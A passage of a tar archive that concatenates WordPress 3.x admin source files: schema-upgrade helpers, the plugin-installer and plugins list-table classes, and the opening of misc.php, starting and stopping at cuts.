case 3: case 2: return 'author'; case 1: return 'contributor'; case 0: return 'subscriber'; } } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 2.1.0 */ function wp_check_mysql_version() { global $wpdb; $result = $wpdb->check_database_version(); if ( is_wp_error( $result ) ) die( $result->get_error_message() ); } /** * Disables the Automattic widgets plugin, which was merged into core. * * @since 2.2.0 */ function maybe_disable_automattic_widgets() { $plugins = __get_option( 'active_plugins' ); foreach ( (array) $plugins as $plugin ) { if ( basename( $plugin ) == 'widgets.php' ) { array_splice( $plugins, array_search( $plugin, $plugins ), 1 ); update_option( 'active_plugins', $plugins ); break; } } } /** * Disables the Link Manager on upgrade, if at the time of upgrade, no links exist in the DB. * * @since 3.5.0 */ function maybe_disable_link_manager() { global $wp_current_db_version, $wpdb; if ( $wp_current_db_version >= 22006 && get_option( 'link_manager_enabled' ) && ! $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) update_option( 'link_manager_enabled', 0 ); } /** * Runs before the schema is upgraded. * * @since 2.9.0 */ function pre_schema_upgrade() { global $wp_current_db_version, $wpdb; // Upgrade versions prior to 2.9 if ( $wp_current_db_version < 11557 ) { // Delete duplicate options. Keep the option with the highest option_id. $wpdb->query("DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id"); // Drop the old primary key and add the new. $wpdb->query("ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)"); // Drop the old option_name index. dbDelta() doesn't do the drop. $wpdb->query("ALTER TABLE $wpdb->options DROP INDEX option_name"); } // Multisite schema upgrades. if ( $wp_current_db_version < 25448 && is_multisite() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) && is_main_network() ) { // Upgrade verions prior to 3.7 if ( $wp_current_db_version < 25179 ) { // New primary key for signups. $wpdb->query( "ALTER TABLE $wpdb->signups ADD signup_id BIGINT(20) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST" ); $wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain" ); } if ( $wp_current_db_version < 25448 ) { // Convert archived from enum to tinyint. $wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived varchar(1) NOT NULL default '0'" ); $wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived tinyint(2) NOT NULL default 0" ); } } } /** * Install global terms. * * @since 3.0.0 * */ if ( !function_exists( 'install_global_terms' ) ) : function install_global_terms() { global $wpdb, $charset_collate; $ms_queries = " CREATE TABLE $wpdb->sitecategories ( cat_ID bigint(20) NOT NULL auto_increment, cat_name varchar(55) NOT NULL default '', category_nicename varchar(200) NOT NULL default '', last_updated timestamp NOT NULL, PRIMARY KEY (cat_ID), KEY category_nicename (category_nicename), KEY last_updated (last_updated) ) $charset_collate; "; // now create tables dbDelta( $ms_queries ); } endif; class-wp-plugin-install-list-table.php000077700000021756151514577750014047 0ustar00<?php /** * Plugin Installer List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Plugin_Install_List_Table extends WP_List_Table { function ajax_user_can() { return current_user_can('install_plugins'); } function prepare_items() { include( ABSPATH . 'wp-admin/includes/plugin-install.php' ); global $tabs, $tab, $paged, $type, $term; wp_reset_vars( array( 'tab' ) ); $paged = $this->get_pagenum(); $per_page = 30; // These are the tabs which are shown on the page $tabs = array(); $tabs['dashboard'] = __( 'Search' ); if ( 'search' == $tab ) $tabs['search'] = __( 'Search Results' ); $tabs['upload'] = __( 'Upload' ); $tabs['featured'] = _x( 'Featured', 'Plugin Installer' ); $tabs['popular'] = _x( 'Popular', 'Plugin Installer' ); $tabs['new'] = _x( 'Newest', 'Plugin Installer' ); $tabs['favorites'] = _x( 'Favorites', 'Plugin Installer' ); $nonmenu_tabs = array( 'plugin-information' ); //Valid actions to perform which do not have a Menu item. /** * Filter the tabs shown on the Plugin Install screen. * * @since 2.7.0 * * @param array $tabs The tabs shown on the Plugin Install screen. Defaults are 'dashboard', 'search', * 'upload', 'featured', 'popular', 'new', and 'favorites'. */ $tabs = apply_filters( 'install_plugins_tabs', $tabs ); /** * Filter tabs not associated with a menu item on the Plugin Install screen. * * @since 2.7.0 * * @param array $nonmenu_tabs The tabs that don't have a Menu item on the Plugin Install screen. */ $nonmenu_tabs = apply_filters( 'install_plugins_nonmenu_tabs', $nonmenu_tabs ); // If a non-valid menu tab has been selected, And it's not a non-menu action. if ( empty( $tab ) || ( !isset( $tabs[ $tab ] ) && !in_array( $tab, (array) $nonmenu_tabs ) ) ) $tab = key( $tabs ); $args = array( 'page' => $paged, 'per_page' => $per_page ); switch ( $tab ) { case 'search': $type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term'; $term = isset( $_REQUEST['s'] ) ? wp_unslash( $_REQUEST['s'] ) : ''; switch ( $type ) { case 'tag': $args['tag'] = sanitize_title_with_dashes( $term ); break; case 'term': $args['search'] = $term; break; case 'author': $args['author'] = $term; break; } add_action( 'install_plugins_table_header', 'install_search_form', 10, 0 ); break; case 'featured': case 'popular': case 'new': $args['browse'] = $tab; break; case 'favorites': $user = isset( $_GET['user'] ) ? wp_unslash( $_GET['user'] ) : get_user_option( 'wporg_favorites' ); update_user_meta( get_current_user_id(), 'wporg_favorites', $user ); if ( $user ) $args['user'] = $user; else $args = false; add_action( 'install_plugins_favorites', 'install_plugins_favorites_form', 9, 0 ); break; default: $args = false; break; } /** * Filter API request arguments for each Plugin Install screen tab. * * The dynamic portion of the hook name, $tab, refers to the plugin install tabs. * Default tabs are 'dashboard', 'search', 'upload', 'featured', 'popular', 'new', * and 'favorites'. * * @since 3.7.0 * * @param array|bool $args Plugin Install API arguments. */ $args = apply_filters( "install_plugins_table_api_args_$tab", $args ); if ( !$args ) return; $api = plugins_api( 'query_plugins', $args ); if ( is_wp_error( $api ) ) wp_die( $api->get_error_message() . '</p> <p class="hide-if-no-js"><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try again' ) . '</a>' ); $this->items = $api->plugins; $this->set_pagination_args( array( 'total_items' => $api->info['results'], 'per_page' => $args['per_page'], ) ); } function no_items() { _e( 'No plugins match your request.' ); } function get_views() { global $tabs, $tab; $display_tabs = array(); foreach ( (array) $tabs as $action => $text ) { $class = ( $action == $tab ) ? ' class="current"' : ''; $href = self_admin_url('plugin-install.php?tab=' . $action); $display_tabs['plugin-install-'.$action] = "<a href='$href'$class>$text</a>"; } return $display_tabs; } function display_tablenav( $which ) { if ( 'top' == $which ) { ?> <div class="tablenav top"> <div class="alignleft actions"> <?php /** * Fires before the Plugin Install table header pagination is displayed. * * @since 2.7.0 */ do_action( 'install_plugins_table_header' ); ?> </div> <?php $this->pagination( $which ); ?> <br class="clear" /> </div> <?php } else { ?> <div class="tablenav bottom"> <?php $this->pagination( $which ); ?> <br class="clear" /> </div> <?php } } function get_table_classes() { extract( $this->_args ); return array( 'widefat', $plural ); } function get_columns() { return array( 'name' => _x( 'Name', 'plugin name' ), 'version' => __( 'Version' ), 'rating' => __( 'Rating' ), 'description' => __( 'Description' ), ); } function display_rows() { $plugins_allowedtags = array( 'a' => array( 'href' => array(),'title' => array(), 'target' => array() ), 'abbr' => array( 'title' => array() ),'acronym' => array( 'title' => array() ), 'code' => array(), 'pre' => array(), 'em' => array(),'strong' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'p' => array(), 'br' => array() ); list( $columns, $hidden ) = $this->get_column_info(); $style = array(); foreach ( $columns as $column_name => $column_display_name ) { $style[ $column_name ] = in_array( $column_name, $hidden ) ? 'style="display:none;"' : ''; } foreach ( (array) $this->items as $plugin ) { if ( is_object( $plugin ) ) $plugin = (array) $plugin; $title = wp_kses( $plugin['name'], $plugins_allowedtags ); //Limit description to 400char, and remove any HTML. $description = strip_tags( $plugin['description'] ); if ( strlen( $description ) > 400 ) $description = mb_substr( $description, 0, 400 ) . '…'; //remove any trailing entities $description = preg_replace( '/&[^;\s]{0,6}$/', '', $description ); //strip leading/trailing & multiple consecutive lines $description = trim( $description ); $description = preg_replace( "|(\r?\n)+|", "\n", $description ); //\n => <br> $description = nl2br( $description ); $version = wp_kses( $plugin['version'], $plugins_allowedtags ); $name = strip_tags( $title . ' ' . $version ); $author = $plugin['author']; if ( ! empty( $plugin['author'] ) ) $author = ' <cite>' . sprintf( __( 'By %s' ), $author ) . '.</cite>'; $author = wp_kses( $author, $plugins_allowedtags ); $action_links = array(); $action_links[] = '<a href="' . self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin['slug'] . '&TB_iframe=true&width=600&height=550' ) . '" class="thickbox" title="' . esc_attr( sprintf( __( 'More information about %s' ), $name ) ) . '">' . __( 'Details' ) . '</a>'; if ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) { $status = install_plugin_install_status( $plugin ); switch ( $status['status'] ) { case 'install': if ( $status['url'] ) $action_links[] = '<a class="install-now" href="' . $status['url'] . '" title="' . esc_attr( sprintf( __( 'Install %s' ), $name ) ) . '">' . __( 'Install Now' ) . '</a>'; break; case 'update_available': if ( $status['url'] ) $action_links[] = '<a href="' . $status['url'] . '" title="' . esc_attr( sprintf( __( 'Update to version %s' ), $status['version'] ) ) . '">' . __( 'Update Now' ) . '</a>'; break; case 'latest_installed': case 'newer_installed': $action_links[] = '<span title="' . esc_attr__( 'This plugin is already installed and is up to date' ) . ' ">' . _x( 'Installed', 'plugin' ) . '</span>'; break; } } /** * Filter the install action links for a plugin. * * @since 2.7.0 * * @param array $action_links An array of plugin action hyperlinks. Defaults are links to Details and Install Now. * @param array $plugin The plugin currently being listed. */ $action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin ); ?> <tr> <td class="name column-name"<?php echo $style['name']; ?>><strong><?php echo $title; ?></strong> <div class="action-links"><?php if ( !empty( $action_links ) ) echo implode( ' | ', $action_links ); ?></div> </td> <td class="vers column-version"<?php echo $style['version']; ?>><?php echo $version; ?></td> <td class="vers column-rating"<?php echo $style['rating']; ?>> <?php wp_star_rating( array( 'rating' => $plugin['rating'], 'type' => 'percent', 'number' => $plugin['num_ratings'] ) ); ?> </td> <td class="desc column-description"<?php echo $style['description']; ?>><?php echo $description, $author; ?></td> </tr> <?php } } } class-wp-plugins-list-table.php000077700000054346151514577750012567 0ustar00<?php /** * Plugins List Table class. * * @package WordPress * @subpackage List_Table * @since 3.1.0 * @access private */ class WP_Plugins_List_Table extends WP_List_Table { function __construct( $args = array() ) { global $status, $page; parent::__construct( array( 'plural' => 'plugins', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $status = 'all'; if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search' ) ) ) $status = $_REQUEST['plugin_status']; if ( isset($_REQUEST['s']) ) $_SERVER['REQUEST_URI'] = add_query_arg('s', wp_unslash($_REQUEST['s']) ); $page = $this->get_pagenum(); } function get_table_classes() { return array( 'widefat', $this->_args['plural'] ); } function ajax_user_can() { return current_user_can('activate_plugins'); } function prepare_items() { global $status, $plugins, $totals, $page, $orderby, $order, $s; wp_reset_vars( array( 'orderby', 'order', 's' ) ); /** * Filter the full array of plugins to list in the Plugins list table. * * @since 3.0.0 * * @see get_plugins() * * @param array $plugins An array of plugins to display in the list table. */ $plugins = array( 'all' => apply_filters( 'all_plugins', get_plugins() ), 'search' => array(), 'active' => array(), 'inactive' => array(), 'recently_activated' => array(), 'upgrade' => array(), 'mustuse' => array(), 'dropins' => array() ); $screen = $this->screen; if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) { /** * Filter whether to display the advanced plugins list table. * * There are two types of advanced plugins - must-use and drop-ins - * which can be used in a single site or Multisite network. * * The $type parameter allows you to differentiate between the type of advanced * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'. * * @since 3.0.0 * * @param bool $show Whether to show the advanced plugins for the specified * plugin type. Default true. * @param string $type The plugin type. Accepts 'mustuse', 'dropins'. */ if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) { $plugins['mustuse'] = get_mu_plugins(); } /** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */ if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) ) $plugins['dropins'] = get_dropins(); if ( current_user_can( 'update_plugins' ) ) { $current = get_site_transient( 'update_plugins' ); foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) { if ( isset( $current->response[ $plugin_file ] ) ) { $plugins['all'][ $plugin_file ]['update'] = true; $plugins['upgrade'][ $plugin_file ] = $plugins['all'][ $plugin_file ]; } } } } set_transient( 'plugin_slugs', array_keys( $plugins['all'] ), DAY_IN_SECONDS ); if ( ! $screen->in_admin( 'network' ) ) { $recently_activated = get_option( 'recently_activated', array() ); foreach ( $recently_activated as $key => $time ) if ( $time + WEEK_IN_SECONDS < time() ) unset( $recently_activated[$key] ); update_option( 'recently_activated', $recently_activated ); } foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) { // Filter into individual sections if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) { // On the non-network screen, filter out network-only plugins as long as they're not individually activated unset( $plugins['all'][ $plugin_file ] ); } elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) { // On the non-network screen, filter out network activated plugins unset( $plugins['all'][ $plugin_file ] ); } elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) ) || ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) { // On the non-network screen, populate the active list with plugins that are individually activated // On the network-admin screen, populate the active list with plugins that are network activated $plugins['active'][ $plugin_file ] = $plugin_data; } else { if ( ! $screen->in_admin( 'network' ) && isset( $recently_activated[ $plugin_file ] ) ) { // On the non-network screen, populate the recently activated list with plugins that have been recently activated $plugins['recently_activated'][ $plugin_file ] = $plugin_data; } // Populate the inactive list with plugins that aren't activated $plugins['inactive'][ $plugin_file ] = $plugin_data; } } if ( $s ) { $status = 'search'; $plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) ); } $totals = array(); foreach ( $plugins as $type => $list ) $totals[ $type ] = count( $list ); if ( empty( $plugins[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) ) $status = 'all'; $this->items = array(); foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) { // Translate, Don't Apply Markup, Sanitize HTML $this->items[$plugin_file] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true ); } $total_this_page = $totals[ $status ]; if ( $orderby ) { $orderby = ucfirst( $orderby ); $order = strtoupper( $order ); uasort( $this->items, array( $this, '_order_callback' ) ); } $plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 ); $start = ( $page - 1 ) * $plugins_per_page; if ( $total_this_page > $plugins_per_page ) $this->items = array_slice( $this->items, $start, $plugins_per_page ); $this->set_pagination_args( array( 'total_items' => $total_this_page, 'per_page' => $plugins_per_page, ) ); } function _search_callback( $plugin ) { static $term; if ( is_null( $term ) ) $term = wp_unslash( $_REQUEST['s'] ); foreach ( $plugin as $value ) { if ( false !== stripos( strip_tags( $value ), $term ) ) { return true; } } return false; } function _order_callback( $plugin_a, $plugin_b ) { global $orderby, $order; $a = $plugin_a[$orderby]; $b = $plugin_b[$orderby]; if ( $a == $b ) return 0; if ( 'DESC' == $order ) return ( $a < $b ) ? 1 : -1; else return ( $a < $b ) ? -1 : 1; } function no_items() { global $plugins; if ( !empty( $plugins['all'] ) ) _e( 'No plugins found.' ); else _e( 'You do not appear to have any plugins available at this time.' ); } function get_columns() { global $status; return array( 'cb' => !in_array( $status, array( 'mustuse', 'dropins' ) ) ? '<input type="checkbox" />' : '', 'name' => __( 'Plugin' ), 'description' => __( 'Description' ), ); } function get_sortable_columns() { return array(); } function get_views() { global $totals, $status; $status_links = array(); foreach ( $totals as $type => $count ) { if ( !$count ) continue; switch ( $type ) { case 'all': $text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'plugins' ); break; case 'active': $text = _n( 'Active <span class="count">(%s)</span>', 'Active <span class="count">(%s)</span>', $count ); break; case 'recently_activated': $text = _n( 'Recently Active <span class="count">(%s)</span>', 'Recently Active <span class="count">(%s)</span>', $count ); break; case 'inactive': $text = _n( 'Inactive <span class="count">(%s)</span>', 'Inactive <span class="count">(%s)</span>', $count ); break; case 'mustuse': $text = _n( 'Must-Use <span class="count">(%s)</span>', 'Must-Use <span class="count">(%s)</span>', $count ); break; case 'dropins': $text = _n( 'Drop-ins <span class="count">(%s)</span>', 'Drop-ins <span class="count">(%s)</span>', $count ); break; case 'upgrade': $text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count ); break; } if ( 'search' != $type ) { $status_links[$type] = sprintf( "<a href='%s' %s>%s</a>", add_query_arg('plugin_status', $type, 'plugins.php'), ( $type == $status ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) ); } } return $status_links; } function get_bulk_actions() { global $status; $actions = array(); if ( 'active' != $status ) $actions['activate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Activate' ) : __( 'Activate' ); if ( 'inactive' != $status && 'recent' != $status ) $actions['deactivate-selected'] = $this->screen->in_admin( 'network' ) ? __( 'Network Deactivate' ) : __( 'Deactivate' ); if ( !is_multisite() || $this->screen->in_admin( 'network' ) ) { if ( current_user_can( 'update_plugins' ) ) $actions['update-selected'] = __( 'Update' ); if ( current_user_can( 'delete_plugins' ) && ( 'active' != $status ) ) $actions['delete-selected'] = __( 'Delete' ); } return $actions; } function bulk_actions() { global $status; if ( in_array( $status, array( 'mustuse', 'dropins' ) ) ) return; parent::bulk_actions(); } function extra_tablenav( $which ) { global $status; if ( ! in_array($status, array('recently_activated', 'mustuse', 'dropins') ) ) return; echo '<div class="alignleft actions">'; if ( ! $this->screen->in_admin( 'network' ) && 'recently_activated' == $status ) submit_button( __( 'Clear List' ), 'button', 'clear-recent-list', false ); elseif ( 'top' == $which && 'mustuse' == $status ) echo '<p>' . sprintf( __( 'Files in the <code>%s</code> directory are executed automatically.' ), str_replace( ABSPATH, '/', WPMU_PLUGIN_DIR ) ) . '</p>'; elseif ( 'top' == $which && 'dropins' == $status ) echo '<p>' . sprintf( __( 'Drop-ins are advanced plugins in the <code>%s</code> directory that replace WordPress functionality when present.' ), str_replace( ABSPATH, '', WP_CONTENT_DIR ) ) . '</p>'; echo '</div>'; } function current_action() { if ( isset($_POST['clear-recent-list']) ) return 'clear-recent-list'; return parent::current_action(); } function display_rows() { global $status; if ( is_multisite() && ! $this->screen->in_admin( 'network' ) && in_array( $status, array( 'mustuse', 'dropins' ) ) ) return; foreach ( $this->items as $plugin_file => $plugin_data ) $this->single_row( array( $plugin_file, $plugin_data ) ); } function single_row( $item ) { global $status, $page, $s, $totals; list( $plugin_file, $plugin_data ) = $item; $context = $status; $screen = $this->screen; // preorder $actions = array( 'deactivate' => '', 'activate' => '', 'edit' => '', 'delete' => '', ); if ( 'mustuse' == $context ) { $is_active = true; } elseif ( 'dropins' == $context ) { $dropins = _get_dropins(); $plugin_name = $plugin_file; if ( $plugin_file != $plugin_data['Name'] ) $plugin_name .= '<br/>' . $plugin_data['Name']; if ( true === ( $dropins[ $plugin_file ][1] ) ) { // Doesn't require a constant $is_active = true; $description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>'; } elseif ( defined( $dropins[ $plugin_file ][1] ) && constant( $dropins[ $plugin_file ][1] ) ) { // Constant is true $is_active = true; $description = '<p><strong>' . $dropins[ $plugin_file ][0] . '</strong></p>'; } else { $is_active = false; $description = '<p><strong>' . $dropins[ $plugin_file ][0] . ' <span class="attention">' . __('Inactive:') . '</span></strong> ' . sprintf( __( 'Requires <code>%s</code> in <code>wp-config.php</code>.' ), "define('" . $dropins[ $plugin_file ][1] . "', true);" ) . '</p>'; } if ( $plugin_data['Description'] ) $description .= '<p>' . $plugin_data['Description'] . '</p>'; } else { if ( $screen->in_admin( 'network' ) ) $is_active = is_plugin_active_for_network( $plugin_file ); else $is_active = is_plugin_active( $plugin_file ); if ( $screen->in_admin( 'network' ) ) { if ( $is_active ) { if ( current_user_can( 'manage_network_plugins' ) ) $actions['deactivate'] = '<a href="' . wp_nonce_url('plugins.php?action=deactivate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'deactivate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Deactivate this plugin') . '">' . __('Network Deactivate') . '</a>'; } else { if ( current_user_can( 'manage_network_plugins' ) ) $actions['activate'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin for all sites in this network') . '" class="edit">' . __('Network Activate') . '</a>'; if ( current_user_can( 'delete_plugins' ) && ! is_plugin_active( $plugin_file ) ) $actions['delete'] = '<a href="' . wp_nonce_url('plugins.php?action=delete-selected&checked[]=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'bulk-plugins') . '" title="' . esc_attr__('Delete this plugin') . '" class="delete">' . __('Delete') . '</a>'; } } else { if ( $is_active ) { $actions['deactivate'] = '<a href="' . wp_nonce_url('plugins.php?action=deactivate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'deactivate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Deactivate this plugin') . '">' . __('Deactivate') . '</a>'; } else { $actions['activate'] = '<a href="' . wp_nonce_url('plugins.php?action=activate&plugin=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'activate-plugin_' . $plugin_file) . '" title="' . esc_attr__('Activate this plugin') . '" class="edit">' . __('Activate') . '</a>'; if ( ! is_multisite() && current_user_can('delete_plugins') ) $actions['delete'] = '<a href="' . wp_nonce_url('plugins.php?action=delete-selected&checked[]=' . urlencode( $plugin_file ) . '&plugin_status=' . $context . '&paged=' . $page . '&s=' . $s, 'bulk-plugins') . '" title="' . esc_attr__('Delete this plugin') . '" class="delete">' . __('Delete') . '</a>'; } // end if $is_active } // end if $screen->in_admin( 'network' ) if ( ( ! is_multisite() || $screen->in_admin( 'network' ) ) && current_user_can('edit_plugins') && is_writable(WP_PLUGIN_DIR . '/' . $plugin_file) ) $actions['edit'] = '<a href="plugin-editor.php?file=' . urlencode( $plugin_file ) . '" title="' . esc_attr__('Open this file in the Plugin Editor') . '" class="edit">' . __('Edit') . '</a>'; } // end if $context $prefix = $screen->in_admin( 'network' ) ? 'network_admin_' : ''; /** * Filter the action links displayed for each plugin in the Plugins list table. * * The dynamic portion of the hook name, $prefix, refers to the context the * action links are displayed in. The 'network_admin_' prefix is used if the * current screen is the Network plugins list table. The prefix is empty ('') * if the current screen is the site plugins list table. * * The default action links for the Network plugins list table include * 'Network Activate', 'Network Deactivate', 'Edit', and 'Delete'. * * The default action links for the site plugins list table include * 'Activate', 'Deactivate', and 'Edit', for a network site, and * 'Activate', 'Deactivate', 'Edit', and 'Delete' for a single site. * * @since 2.5.0 * * @param array $actions An array of plugin action links. * @param string $plugin_file Path to the plugin file. * @param array $plugin_data An array of plugin data. * @param string $context The plugin context. Defaults are 'All', 'Active', * 'Inactive', 'Recently Activated', 'Upgrade', * 'Must-Use', 'Drop-ins', 'Search'. */ $actions = apply_filters( $prefix . 'plugin_action_links', array_filter( $actions ), $plugin_file, $plugin_data, $context ); /** * Filter the list of action links displayed for a specific plugin. * * The first dynamic portion of the hook name, $prefix, refers to the context * the action links are displayed in. The 'network_admin_' prefix is used if the * current screen is the Network plugins list table. The prefix is empty ('') * if the current screen is the site plugins list table. * * The second dynamic portion of the hook name, $plugin_file, refers to the path * to the plugin file, relative to the plugins directory. * * @since 2.7.0 * * @param array $actions An array of plugin action links. * @param string $plugin_file Path to the plugin file. * @param array $plugin_data An array of plugin data. * @param string $context The plugin context. Defaults are 'All', 'Active', * 'Inactive', 'Recently Activated', 'Upgrade', * 'Must-Use', 'Drop-ins', 'Search'. */ $actions = apply_filters( $prefix . "plugin_action_links_$plugin_file", $actions, $plugin_file, $plugin_data, $context ); $class = $is_active ? 'active' : 'inactive'; $checkbox_id = "checkbox_" . md5($plugin_data['Name']); if ( in_array( $status, array( 'mustuse', 'dropins' ) ) ) { $checkbox = ''; } else { $checkbox = "<label class='screen-reader-text' for='" . $checkbox_id . "' >" . sprintf( __( 'Select %s' ), $plugin_data['Name'] ) . "</label>" . "<input type='checkbox' name='checked[]' value='" . esc_attr( $plugin_file ) . "' id='" . $checkbox_id . "' />"; } if ( 'dropins' != $context ) { $description = '<p>' . ( $plugin_data['Description'] ? $plugin_data['Description'] : ' ' ) . '</p>'; $plugin_name = $plugin_data['Name']; } $id = sanitize_title( $plugin_name ); if ( ! empty( $totals['upgrade'] ) && ! empty( $plugin_data['update'] ) ) $class .= ' update'; echo "<tr id='$id' class='$class'>"; list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; switch ( $column_name ) { case 'cb': echo "<th scope='row' class='check-column'>$checkbox</th>"; break; case 'name': echo "<td class='plugin-title'$style><strong>$plugin_name</strong>"; echo $this->row_actions( $actions, true ); echo "</td>"; break; case 'description': echo "<td class='column-description desc'$style> <div class='plugin-description'>$description</div> <div class='$class second plugin-version-author-uri'>"; $plugin_meta = array(); if ( !empty( $plugin_data['Version'] ) ) $plugin_meta[] = sprintf( __( 'Version %s' ), $plugin_data['Version'] ); if ( !empty( $plugin_data['Author'] ) ) { $author = $plugin_data['Author']; if ( !empty( $plugin_data['AuthorURI'] ) ) $author = '<a href="' . $plugin_data['AuthorURI'] . '" title="' . esc_attr__( 'Visit author homepage' ) . '">' . $plugin_data['Author'] . '</a>'; $plugin_meta[] = sprintf( __( 'By %s' ), $author ); } if ( ! empty( $plugin_data['PluginURI'] ) ) $plugin_meta[] = '<a href="' . $plugin_data['PluginURI'] . '" title="' . esc_attr__( 'Visit plugin site' ) . '">' . __( 'Visit plugin site' ) . '</a>'; /** * Filter the array of row meta for each plugin in the Plugins list table. * * @since 2.8.0 * * @param array $plugin_meta An array of the plugin's metadata, * including the version, author, * author URI, and plugin URI. * @param string $plugin_file Path to the plugin file, relative to the plugins directory. * @param array $plugin_data An array of plugin data. * @param string $status Status of the plugin. Defaults are 'All', 'Active', * 'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use', * 'Drop-ins', 'Search'. */ $plugin_meta = apply_filters( 'plugin_row_meta', $plugin_meta, $plugin_file, $plugin_data, $status ); echo implode( ' | ', $plugin_meta ); echo "</div></td>"; break; default: echo "<td class='$column_name column-$column_name'$style>"; /** * Fires inside each custom column of the Plugins list table. * * @since 3.1.0 * * @param string $column_name Name of the column. * @param string $plugin_file Path to the plugin file. * @param array $plugin_data An array of plugin data. */ do_action( 'manage_plugins_custom_column', $column_name, $plugin_file, $plugin_data ); echo "</td>"; } } echo "</tr>"; /** * Fires after each row in the Plugins list table. * * @since 2.3.0 * * @param string $plugin_file Path to the plugin file, relative to the plugins directory. * @param array $plugin_data An array of plugin data. * @param string $status Status of the plugin. Defaults are 'All', 'Active', * 'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use', * 'Drop-ins', 'Search'. */ do_action( 'after_plugin_row', $plugin_file, $plugin_data, $status ); /** * Fires after each specific row in the Plugins list table. * * The dynamic portion of the hook name, $plugin_file, refers to the path * to the plugin file, relative to the plugins directory. * * @since 2.7.0 * * @param string $plugin_file Path to the plugin file, relative to the plugins directory. * @param array $plugin_data An array of plugin data. * @param string $status Status of the plugin. Defaults are 'All', 'Active', * 'Inactive', 'Recently Activated', 'Upgrade', 'Must-Use', * 'Drop-ins', 'Search'. */ do_action( "after_plugin_row_$plugin_file", $plugin_file, $plugin_data, $status ); } } misc.php000077700000060420151514577750006242 0ustar00<?php /** * Misc WordPress Administration API. * * @package WordPress * @subpackage Administration */ /** * Returns whether the server is running Apache with the mod_rewrite module loaded. * * @since 2.0.0 * * @return bool */ function got_mod_rewrite() { $got_rewrite = apache_mod_loaded('mod_rewrite', true); /** * Filter whether Apache and mod_rewrite are present. * * This filter was previously used to force URL rewriting for other servers, * like nginx. Use the got_url_rewrite filter in got_url_rewrite() instead. * * @see got_url_rewrite() * * @since 2.5.0 * @param bool $got_rewrite Whether Apache and mod_rewrite are present. */ return apply_filters( 'got_rewrite', $got_rewrite ); } /** * Returns whether the server supports URL rewriting. * * Detects Apache's mod_rewrite, IIS 7.0+ permalink support, and nginx. * * @since 3.7.0 * * @return bool Whether the server supports URL rewriting. */ function got_url_rewrite() { $got_url_rewrite = ( got_mod_rewrite() || $GLOBALS['is_nginx'] || iis7_supports_permalinks() ); /** * Filter whether URL rewriting is available. * * @since 3.7.0 * @param bool $got_url_rewrite Whether URL rewriting is available. */ return apply_filters( 'got_url_rewrite', $got_url_rewrite ); } /** * {@internal Missing Short Description}} * * @since 1.5.0 * * @param unknown_type $filename * @param unknown_type $marker * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers. */ function extract_from_markers( $filename, $marker ) { $result = array (); if (!file_exists( $filename ) ) { return $result; } if ( $markerdata = explode( "\n", implode( '', file( $filename ) ) )); { $state = false; foreach ( $markerdata as $markerline ) { if (strpos($markerline, 